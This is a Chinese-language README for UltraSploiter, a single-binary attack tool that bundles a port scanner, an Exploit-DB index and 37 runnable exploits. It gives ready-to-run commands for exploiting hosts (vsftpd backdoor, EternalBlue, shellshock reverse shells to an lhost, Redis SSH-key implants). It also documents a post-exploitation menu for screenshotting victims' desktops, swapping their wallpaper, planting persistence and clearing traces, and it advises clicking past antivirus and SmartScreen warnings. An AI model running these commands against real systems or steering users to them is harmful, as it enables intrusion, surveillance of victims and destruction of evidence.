一个单一二进制文件,将端口扫描器、完整的 Exploit-DB 索引(4.7 万条条目)以及可运行的漏洞利用模块整合为一个工具。使用 Rust 编写,可在 Linux、Windows 和 macOS 上运行。
端口扫描器、完整的 exploit-db 索引以及一组可运行的漏洞利用,全部集成在一个二进制文件中。单文件,无依赖。支持 linux、windows 和 macos。
如果你平时会用到 nmap + searchsploit + metasploit,那么这就是把这三者合到一条命令里:
| 通常 | 这里 |
|---|---|
nmap | UltraSploiter scan <ip> |
searchsploit | UltraSploiter search <kw> |
msfconsole | UltraSploiter exploit <ip> <module> |

这次更新很大。这个版本的核心目标是:从扫描到拿到 shell 应该像一气呵成的动作,而且一旦你进入目标机器,就不应该再往一个笨拙的管道里敲原始命令。
sessions -i <id> 会打开一个真正的菜单,你可以用 ↑/↓ 和回车来操作。运行命令、列出文件、下载文件、上传文件、直接把对方桌面截图到你的机器、替换对方壁纸、导出系统信息、植入持久化、清理痕迹。每个操作都会自行判断目标是 windows 还是 linux。-T3 现在是 2500 个在途套接字,-T5 是 12000),因此在真实网络上 top-1000 扫描会明显更快完成。简而言之:同样的三字母承诺,但从 scan 到在目标机器上拿到 shell 的路径短得多。
当反向 shell 连接进来时,它会被注册为一个会话。进入菜单:
UltraSploiter console
usp > sessions
usp > sessions -i 1
你会得到一个列表,用方向键移动(数字键也可以跳转), 按回车选择:
| 操作 | 作用 |
|---|---|
| shell | 交互式命令 shell,输入 back 返回 |
| files | ls -la / 或 dir C:\ |
| sysinfo | 主机、用户、操作系统、网络接口 |
| screenshot | 抓取目标桌面,保存到 ~/.ultrasploiter/loot |
| download | 将文件拉取到 ~/.ultrasploiter/loot(base64) |
| upload | 将本地文件推送到目标(base64) |
| wallpaper | 下载图片并将其设置为对方的壁纸 |
| persist | 写入重启项(会先询问) |
| cleanup | 清除 shell 历史和临时痕迹 |
它会自行检测目标操作系统(linux 还是 windows),并为每个操作构建正确的 命令——windows 上用 powershell,linux 上用 sh/coreutils。文件 传输通过现有 socket 以 base64 进行,因此两端都无需 安装其他任何东西。

最简单的方式就是直接下载预编译的二进制文件并运行。无需安装任何东西。
从 releases 页面:
UltraSploiter-windows-x86_64.exe,双击运行UltraSploiter-linux-x86_64这是一个安全工具,因此杀毒软件和 SmartScreen 会将其标记。在 windows 上点击 更多信息 -> 仍要运行,或者如果你要长期保留它,就添加一个排除项。
双击 UltraSploiter.exe,菜单就会打开。如果 SmartScreen 提示
未知发布者(它一定会,因为未签名),点击更多信息 -> 仍要运行。
chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64
chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64
如果 Gatekeeper 阻止了它(再次说明,它未签名),请右键点击 -> 打开,或者一次性清除隔离标记:
xattr -d com.apple.quarantine UltraSploiter-macos-arm64
仅当你的平台没有可用的二进制文件,或者你想修改某些内容时才需要。需要 rust 1.74+。
sudo apt install build-essential
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh
xcode-select --install
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1
build.ps1 使用 gnu 工具链,因此你不需要 visual studio 或 msvc,如果缺失它会自动安装。如果你已经有 msvc 构建工具,那么直接运行 cargo build --release 也可以。
Windows 上有一个坑:windows-sys(由 tokio 引入)会调用 dlltool,而它需要汇编器 as,但 rust-mingw 组件并不附带它。build.ps1 会在 tools\mingw64\bin 和 %USERPROFILE%\tools\mingw64\bin 中查找包含该工具的 mingw bin 目录,并将其前置到 PATH。如果你遇到 error calling dlltool,请把 winlibs 的构建版本放到上述任一目录中。这不影响 msvc。
不带参数运行即可进入菜单:
1) Scan a target find open ports and services
2) Search exploits keyword lookup
3) List runnable modules
4) Run an exploit pick a target and a module
5) Console advanced msf-style commands
0) Exit
简短形式:给它一个目标,如果你想运行某个模块就添加该模块,其余部分它会自行处理。
UltraSploiter 10.0.0.5 # scan it (same as scan 10.0.0.5)
UltraSploiter 10.0.0.5 -p 22,80,443 -T4 # scan with flags
UltraSploiter 10.0.0.5 vsftpd_234 # run a native/catalog module
UltraSploiter 10.0.0.5 exploit/windows/smb/ms17_010_eternalblue
# route an msf module, RHOSTS set for you
显式命令(如果你更倾向于使用它们):
UltraSploiter scan 10.0.0.5 # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.0/24 -p 22,80,443 # host discovery, then scan the live ones
UltraSploiter scan 10.0.0.1-50 -p 1-1024 -T4 # range, fast timing
UltraSploiter scan 10.0.0.5 -p - # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU # UDP scan
UltraSploiter scan 10.0.0.0/24 --check # scan then safely check matched modules
UltraSploiter scan 10.0.0.5 -sC # default scripts (ssh/smb/redis/tls)
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter search apache -n 20 --type remote --platform linux
UltraSploiter info 17491
UltraSploiter show 17491 # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console
在 linux/macos 上需加 ./ 前缀(例如 ./UltraSploiter scan 10.0.0.5)。
别名:find = search,list = modules,run = exploit。
| 参数 | 含义 |
|---|---|
-p <spec> | top(1000)、80,443、1-1024、-(全部) |
-T0..-T5 | 时序模板,从更慢/更安静到更快/更嘈杂 |
-sU | UDP 探测扫描 |
-sV | 服务/版本检测(默认开启) |
-sC | 默认脚本:ssh-auth-methods、smb-version、redis-info、ssl-cert |
-Pn | 跳过主机发现并扫描所有主机 |
--check | 安全地检查扫描匹配到的每个模块 |
--max-rate n | 限制每秒连接数 |
--retries n | 重试失败的连接 |
--no-banner | 跳过 banner 抓取 |
--json | 以 JSON 输出到 stdout |
-oX <file> | nmap 风格 XML |
目标可以是主机名、IP、CIDR 网段(10.0.0.0/24)、范围
(10.0.0.1-50 或 10.0.0.1-10.0.0.9)或逗号分隔列表。对于多个主机,
它会先执行一次快速的 TCP 主机发现,只扫描有响应的主机,因此对 /24 网段扫描
top 1000 端口只需几秒而非几分钟。
扫描器是异步的(tokio):每个 -T 决定同时有多少个套接字在运行
(-T5 时最多 8000 个),因此 nmap top 1000 只需几秒。每个
“open” 都是已完成的 TCP 握手,所以结果精确。服务检测会抓取 HTTP 标题
(类似 nmap 的 http-title),运行结束时根据 banner 给出操作系统猜测。
-o key=value)| 键 | 使用者 | 含义 |
|---|---|---|
lhost、lport | 反弹 shell 模块 | 回调地址 |
rport | web 模块 | 覆盖 HTTP 端口 |
path | shellshock、struts、phpunit | 端点路径 |
user、pass | tomcat_manager | manager 凭据 |
core | solr_rce | Solr core 名称 |
file | grafana_lfi | 要读取的文件 |
ssh_pubkey | redis_unauth | 要写入 authorized_keys 的密钥 |
src、dst | proftpd_modcopy | 复制源 / 目标 |
timeout | 全部 | 套接字超时秒数 |
search 和 info 由完整的 exploit-db 索引支撑,包含 47,000+ 条记录(与
searchsploit 使用相同的数据集),已打包进二进制文件。search 接受
-n <count> 以及 --type 和 --platform 过滤器,show <id> 会打印
实际的 PoC 源码,并将其缓存到 ~/.ultrasploiter/pocs,以便重复查询可离线
进行。当某条记录带有可运行模块所实现的 CVE 时,info 会将它们关联起来:
$ UltraSploiter info 17491
Exploit-DB 17491
description vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
codes OSVDB-73573;CVE-2011-2523
[runnable] vsftpd_234
UltraSploiter exploit <ip> vsftpd_234
这里有两件事容易混淆,所以直白地说:
UltraSploiter modules 列出的是在这个二进制文件内部运行的 37 个漏洞利用。不需要
metasploit,不需要额外安装,每个都带有真实的 check()/run()。UltraSploiter msf ... 驱动你机器上安装的 metasploit。它并不
包含 metasploit;它把你自己的 metasploit 指向某个模块并让它运行。search 覆盖两个世界:exploit-db 索引(47k)以及一个内置的离线
索引,包含 7,000 个 metasploit 模块(名称、cve、rank、平台、端口)。该索引
仅包含元数据——足以找到适合某个服务的正确模块——也正是它
让 info 能够将 exploit-db 条目关联到 metasploit 模块。它来自
metasploit framework,bsd-3-clause。